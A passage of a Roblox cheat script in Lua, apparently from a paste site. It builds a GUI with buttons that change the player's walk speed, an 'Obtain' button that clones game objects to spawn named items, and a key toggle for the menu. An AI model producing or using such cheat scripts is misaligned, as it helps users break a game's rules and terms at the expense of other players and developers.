- ObtainButton.Size = UDim2.new(0, 89, 0, 22)
- ObtainButton.Font = Enum.Font.SourceSans
- ObtainButton.Text = "Obtain"
- ObtainButton.TextColor3 = Color3.new(0.333333, 1, 0)
- ObtainButton.TextSize = 14
- Xbutton.Name = "Xbutton"
- Xbutton.Parent = Menu
- Xbutton.BackgroundColor3 = Color3.new(0, 0, 0)
- Xbutton.BorderColor3 = Color3.new(0.333333, 0.666667, 0)
- Xbutton.Position = UDim2.new(0.875912428, 0, 0, 0)
- Xbutton.Size = UDim2.new(0, 16, 0, 16)
- Xbutton.Font = Enum.Font.SourceSans
- Xbutton.Text = "X"
- Xbutton.TextColor3 = Color3.new(0.333333, 0.666667, 0)
- Xbutton.TextSize = 14
- Xbutton.MouseButton1Down:Connect(function()
- Spawner:Destroy()
- end)
- Started = false
- ObtainButton.MouseButton1Down:Connect(function()
- mother = Instance.new("Model", workspace)
- mother.Name = "Mother"
- game.Workspace["Small Tree"].Forage:Clone().Parent = game.Workspace.Mother
- generated = Instance.new("Part", game.Workspace.Mother)
- generated.Name = "Piece"
- generated.Size = Vector3.new(1, 1, 1)
- generated.Anchored = true
- generated.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 5, 0)
- game.Workspace.Islands["Pool of Oil"].IForage:Clone().Parent = game.Workspace.Mother.Piece
- game.Workspace.Mother.Piece.IForage.Value = InsertName.Text
- Spawner:Destroy()
- Started = true
- wait(60)
- game.Workspace.Mother:Destroy()
- Started = false
- end)
- end
- end)
- AddSpeed.MouseButton1Down:Connect(function()
- game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = game.Players.LocalPlayer.Character.Humanoid.WalkSpeed + 5
- TextLabel.Text = "Speed:"..game.Players.LocalPlayer.Character.Humanoid.WalkSpeed
- end)
- MinusSpeed.MouseButton1Down:Connect(function()
- game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = game.Players.LocalPlayer.Character.Humanoid.WalkSpeed - 5
- TextLabel.Text = "Speed:"..game.Players.LocalPlayer.Character.Humanoid.WalkSpeed
- end)
- local Player = game.Players.LocalPlayer
- local Mouse = Player:GetMouse()
- Open = false
- Mouse.KeyDown:connect(function(key)
- if (key == "p") then
- if (Open == false) then
- Background.Visible = true
- Open = true
- elseif (Open == true) then
- Background.Visible = false
- Open = false
- end
- end
- end)
- while wait(0.3) do
- if Started then
- wait(0.3)
- game.Workspace.Mother.Piece.BrickColor = BrickColor.new("Really red")
- wait(0.3)
- game.Workspace.Mother.Piece.BrickColor = BrickColor.new("Really red")
- game.Workspace.Mother.Piece.Color = Color3.new(255, 85, 0)
- wait(0.3)
- game.Workspace.Mother.Piece.BrickColor = BrickColor.new("New Yeller")
- wait(0.3)
- game.Workspace.Mother.Piece.BrickColor = BrickColor.new("Camo")
- wait(0.3)
- game.Workspace.Mother.Piece.BrickColor = BrickColor.new("Really blue")
- wait(0.3)
- game.Workspace.Mother.Piece.BrickColor = BrickColor.new("Dark indigo")
- wait(0.3)
- game.Workspace.Mother.Piece.BrickColor = BrickColor.new("Eggplant")
- TextLabel.Text = "Speed:"..game.Players.LocalPlayer.Character.Humanoid.WalkSpeed
- if game.Players.LocalPlayer.Character.Humanoid.WalkSpeed == 0 then
- game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 16
- end
- else
- TextLabel.Text = "Speed:"..game.Players.LocalPlayer.Character.Humanoid.WalkSpeed
- if game.Players.LocalPlayer.Character.Humanoid.WalkSpeed == 0 then
- game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 16
- end
- end
- end
RAW Paste Data